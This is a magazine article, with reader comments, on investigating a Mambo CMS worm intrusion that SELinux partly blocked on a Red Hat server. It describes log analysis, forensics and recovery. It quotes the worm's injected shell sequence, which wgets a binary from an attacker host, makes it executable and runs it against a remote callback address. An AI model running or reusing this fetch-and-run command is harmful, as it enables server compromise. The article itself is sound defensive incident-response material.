Mambo Exploit Blocked by SELinux
July 1st, 2007 by Richard Bullington-McGuire in
If you operate Internet-connected servers, chances are you eventually will have to deal with a successful attack. Last year, I discovered that despite the multilayered defenses in place on a test Web server (targetbox), an attacker had managed to use an exploit in a partially successful attempt to gain access. This server was running Red Hat Enterprise Linux 4 (RHEL 4) and the Mambo content management system. It had multiple defenses in place, including Security-Enhanced Linux (SELinux). SELinux prevented the attacker from executing the second stage of the attack, possibly preventing a root compromise.
This article presents a case study of the intrusion response, explaining how I discovered the intrusion, what steps I took to identify the exploit, how I recovered from the attack and what lessons I learned regarding system security. I've changed machine names and IP addresses for privacy reasons.
Computers involved in the attack:
targetbox: 192.168.166.155—our server, running RHEL 4 and Mambo.
wormhole: 10.9.233.25—worm attack source.
zombieweb: 172.16.31.57—Web server hosting attack payload.
cbackbox: 10.200.238.39—target of stage 2 worm executable.
Today, prudent system administrators defend their machines with a layered security approach, using firewalls, automated patch management systems, log analysis tools and, recently, SELinux. SELinux provides additional access controls beyond those traditionally provided in the UNIX security model. Recent Red Hat Enterprise Linux and Fedora Core releases have an SELinux policy implementation called the targeted policy. It aims to restrict the privileges of programs in multiple packages to the minimum that they require for correct operation. This can blunt an attack that depends on having read, write or execute access to certain files or directories.
At approximately 8:00 AM on Saturday, May 6, 2006, I was auditing the logs on targetbox when I noticed an odd SELinux enforcement message in /var/log/messages:
May 4 07:52:27 targetbox kernel: audit(1146743547.060:2277):
avc: denied { execute_no_trans } for pid=9401 comm="sh"
name="cback" dev=dm-0 ino=852100
scontext=user_u:system_r:httpd_sys_script_t
tcontext=user_u:object_r:httpd_sys_script_rw_t tclass=file
I used locate to try to identify cback quickly:
# locate cback /tmp/cback /usr/share/pixmaps/gnome-ccbackground.png /usr/lib/libartscbackend.la /usr/lib/libartscbackend.so.0.0.0 /usr/lib/libartscbackend.so.0
The file command revealed the executable file type of cback:
# file /tmp/cback /tmp/cback: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), for GNU/Linux 2.2.0, dynamically linked (uses shared libs), not stripped
The user apache owned that file, but it had a date a few months before the initial operating system installation on targetbox:
# ls -i /tmp/cback 852100 /tmp/cback [root@targetbox ~]# ls -lZ /tmp/cback -rwxr--r-- apache apache user_u:object_r:httpd_sys_script_rw_t /tmp/cback [root@targetbox ~]# ls -lai /tmp/cback 852100 -rwxr--r-- 1 apache apache 13901 Feb 15 2005 /tmp/cback
This confirmed the identity of cback as the file in the audit message, because it had the inode number 852100.
If locate had not found the file, I could have used find to try to identify the file by inode:
# find / -inum 852100 2>/dev/null /tmp/cback
Given the name of the script, maybe it was intended as a callback program. Because the apache user owned the file, I checked the Web server log files for evidence.
Because the attack program was in /tmp, I saved a copy of it for posterity:
# cp -a cback /root
The attack program seemed to do something with sockets, judging from the strings within (Listing 1).
The Web server log file had many suspicious requests, some attacking Mambo using command injection and wget, some attacking other CMS systems. I copied all the lines containing php or wget using grep and put them in /root/exploit.log. Listing 2 contains a trace of the most recent attempt.
The log file did contain two very useful clues; it confirmed that the cback binary was related to a request made to Mambo. Furthermore, the query string confirmed that the attacker used wget, a command-line URL-fetching tool, to retrieve the exploit from a remote server. The Web server request attempted to execute the cback executable with an IP address parameter of 10.200.238.39, presumably another machine under the control of the attacker.
The attack attempted to execute this sequence of shell commands:
cd /tmp wget 172.16.31.57/cback chmod 744 cback ./cback 10.200.238.39 8080 echo YYY echo| HTTP/1.1
Going back to /var/log/messages, I searched for further suspicious SELinux enforcement messages. Listing 3 contains the lines that matched the times of the Web server attacks.
This appeared to be a worm, because www.pkrinternet.com (on a different machine, but the same subnet) also had requests from 10.9.233.25 at around the same time, as Listing 4 shows.
Lines showing further attacks similar to the trace on stockpot versus Mambo, xmlrpc.php, drupal and phpgroupware also appeared in this grep.
The worm made requests only to the default virtual host, so it's likely that the worm was not using the Host: virtual host header in its requests. This indicates that it was scanning IP subnets for vulnerable hosts, rather than working through a list of hostnames.
The modification time on the cback file was Feb 5, 2005. That was probably the modification time of the file on the remote system that wget retrieved. wget normally resets the modification time of files it downloads to match their original modification times. Listing 5 shows how to interrogate all the timestamps on a file.
The cback binary probably was created at 07:52 AM on May 4, corresponding to the wget command injection attack. That was the last time the file attributes were modified. Although UNIX does not allow you to retrieve the true creation time of a file, the status time often can stand in for that. The other times correspond to the times of my own initial investigations of the cback file. If I had been more careful, I could have done this ls command before reading the cback file at all, so that the atime, access and use times would have been those the attacker had set.
Because this looked like a worm attacking Mambo, a search on “mambo worm” on Google found references to the attack, including articles from ComputerWorld, Outpost24, F-Secure and Bugtraq (see Resources).
The Mitre Common Vulnerabilities and Exposures Project provides a dictionary of known vulnerabilities. It has a brief abstract of the characteristics of the vulnerability with references to security mailing lists and Web sites that confirm the problems. Searching for “mambo” on www.cvw.mitre.org yielded a couple-dozen known vulnerabilities—one of which (CVS-2005-3738) relates to mosConfig_absolute_path, one of the seriously mangled variables in the request URL.
After reading up on recent malware activity surrounding Mambo, I saw that the attack vector probably was closely related to the Net-Worm.Linux.Mare.d worm strain described in the news reports and vulnerability databases. However, some of the names of executables in the attack that hit targetbox were slightly different from the attack executables named in the vulnerability reports.
To run these security analysis tools in the safest way possible, you need to disconnect the computer in question from all networks and boot from known good media before attempting to analyze the intrusion. That way, any remaining attack programs will not be able to attack other machines on your network, and intruders will not interrupt your investigation by interacting with the machine. You won't be able to use the system while you analyze the intrusion, and it may take time to put together an analysis toolkit that will work on a rescue disk. Although this takes more time and preparation than running the analysis tools on a running system that might be compromised, it gives a higher level of assurance that a compromise will not spread to other machines on your network.
Making a backup copy of the entire disk to a removable drive also is a good idea. You could use a command such as this to do the job:
# dd if=/dev/hda1 of=/mnt/removable-drive/disk.img bs=512k
You then can mount and analyze the backup using the loop device (see “Disk Images under Linux” in the Resources section). It's probably faster and easier to analyze the original system, but it's nice to have this backup for forensic purposes.
In an ideal world, you could do this the moment you realize an attack has succeeded. However, sometimes you have to assess the severity of the compromise and balance that against the time and resources you have available.
It looks like whoever broke in could have read or written to any file available to the apache user. This would include the PHP configuration file for Mambo that had a MySQL database user name and password in it. I changed that password just to be sure that the intruder could not use it to attempt further privilege escalation.
Fortunately for me, this was only a test installation, so to prevent future exploits, I removed the Mambo installation completely. I also could have attempted to upgrade the software to remove the vulnerability.
When a user account is compromised, you need to face the danger that the attacker could gain access to the superuser (root) account. If an attacker gets root, it can make it much more difficult to recover from an attack. Most of the time, you need to re-install the operating system from known good media and carefully and selectively audit and restore software configurations. Attackers who manage to get root access often install a rootkit—software that hides itself from casual inspection and offers a remote control back door or other malicious features. Fortunately, a program called chkrootkit (from chkrootkit.org) can help scan for active rootkits. Listing 6 shows the output of chkrootkit in quiet mode on targetbox.
The chkrootkit program checks for and analyzes various files that rootkits and worms commonly leave behind. It warns about hidden files in unexpected places and services running on ports that malware often uses. A quick inspection revealed that the hidden files this listed were all harmless. The INFECTED warning on port 465 was a false alarm, because this computer was running a Web server that listens for https on port 465. In this case, analyzing the chkrootkit output did not reveal a real rootkit problem. Running chkrootkit can give you some extra peace of mind when you know an attacker has penetrated your defenses, even though its checks are not conclusive.
The server ran SELinux using the targeted policy at the time of the attack. The audit log message that originally sounded the alarm that all was not well was an access denied message. The Web server error log provided more detail in the form of the output of the injected shell code, including the wget session and the access denied message resulting from the attempted execution of wget, as shown in Listing 7.
SELinux prevented the cback executable from running, saving targetbox from the next stage of the worm.
Newer versions of Mambo close the hole that the attacker exploited, so I could install a new version without being vulnerable to the same exploit.
Many of the tools required to analyze an attack are already a core part of all modern Linux distributions. Combined with the power of modern search engines and the public disclosure of known vulnerabilities, you can often determine a good deal of information about the nature of an attack.
Installing something from source code to test it out, then leaving it on a publicly available computer made the system vulnerable. That this test installation lived in the document root of the main virtual host on the Web server made it even more exposed and vulnerable to discovery by worms.
Many PHP-powered systems have installation instructions that essentially tell you to unarchive the software somewhere inside the document root of a Web server, then modify some configuration files. You often cannot use the same type of clean operating-system-wide packaging for PHP systems, as each installation uses a distinct set of PHP templates. It took about 11 months between installing Mambo and the attack, during which time I did not update the software at all.
Using yum or apt-get to update Mambo would help keep it up to date. When I started investigating Mambo, I could not find RPM packaging for it, though third parties have created RPMs for Mambo since then. Operating system vendors and software authors need to work on better mechanisms for automatic software maintenance of Web systems.
SELinux really saved the day, preventing the exploit program from running. Without the protection of SELinux, this easily could have turned into a root compromise requiring a much more extensive analysis and recovery effort.
Special Magazine Offer -- Free Gift with Subscription
Receive a free digital copy of Linux Journal's System Administration Special Edition as well as instant online access to current and past issues. CLICK HERE for offer
Linux Journal: delivering readers the advice and inspiration they need to get the most out of their Linux systems since 1994.
Delicious
Digg
StumbleUpon
Reddit
Facebook
Post to TwitterSubscribe now!
The Latest
Newsletter
Tech Tip Videos
Recently Popular
From the Magazine
July 2009, #183
News Flash: Linux Kernel 3.0 to include an on-the-go Expresso machine interface! Ok, maybe not, but Linux is definitely going mobile, from phones to e-readers. Find out more inside about Android, the Kindle 2, the Western Digital MyBook II, The Bug, and Indamixx (a portable recording studio). And if you've gone mobile and you been wanting more Emacs in your life then check out Conkeror.
To compliment the mobile we've got the stationary: parsing command line options with getopt, checking your Ruby code with metric_fu, and building a secure Squid proxy. How is this stationary you ask? What can we say? It's not. We just wanted to see if anybody actually read this part of the page :) .
All this and more, and all you have to do is get your hot sweaty hands on the latest copy of Linux Journal.
..
On December 27th, 2008 turkce (not verified) says:
Thanks..
radyo
On October 29th, 2008 radyo (not verified) says:
thank you very good
An alternate defense against this attack
On June 25th, 2007 Richard Bullington-McGuire says:
Kyle Wilson recently wrote me regarding this article, and gave me permission to share his remarks with Linux Journal readers:
________________________________________________________
Richard,
Hi. I just finished reading your article about SELinux in this month's Linux Journal. I enjoyed it very much. I thought I'd share a tip with you which I use to protect my internet facing servers. I always edit my fstab file to include the nosuid and noexec mount options for my tmp file system. In the case of the Mambo exploit which you wrote about, having the noexec mount option on /tmp would have also prevented the exploit by preventing the execution of the cback binary which was placed in your /tmp file system. Here's the description of the options from the mount man page:
noexec - Do not allow execution of any binaries on the mounted file system. This option might be useful for a server that has file systems containing binaries for architectures other than its own.
nosuid - Do not allow set-user-identifier or set-group-identifier bits to take effect. (This seems safe, but is in fact rather unsafe if you have suidperl(1) installed.)
Kyle
________________________________________________________
Kyle has some good points about protecting filesystems using mount options. That is a solid and time-honored way of helping to secure a system, to be sure. I've seen some systems that have many filesystem mount points that are locked down with noexec and nosuid options.
Many systems today (including the one I wrote about) only have two file systems by default, that is a
bootand/filesystems. This system was one of those. Locking down/tmplike that would also have protected from this specific attack, had SELinux not been activated:# for /etc/fstab:
none /tmp tmpfs nosuid,noexec,rw,size=512m 0 0
However, other points of vulnerability also exist, such as
/dev/shm,/var/tmp, and really, any writable file on your system. To be thorough about using nosuid and noexec options, you would need to ensure that these directories are also protected with these options. That is easy enough for/dev/shm, but not so easy for/var/tmpunless you dedicate a disk partition to it, or do funny tricks such as mounting a file on/varwith the loop device and mounting that on/var/tmp. Even doing that is not proof against a determined attacker, as this shell code snippet illustrates:# Try this out on your system to see how wide-open you could still be
echo "World-writable directories:"
find / -type d -perm +0002
echo "World-witable files:"
find / -type f -perm +0002
One of the nice things about the Red Hat / Fedora SELinux targeted policies is that it stops attacks on pretty much all of these locations with a default-deny rule.
Correction: sentence below Listing 4
On June 25th, 2007 Richard Bullington-McGuire says:
The sentence below Listing 4 should read:
Lines showing further attacks similar to the trace on targetbox versus Mambo, xmlrpc.php, drupal and phpgroupware also appeared in this grep.
Post new comment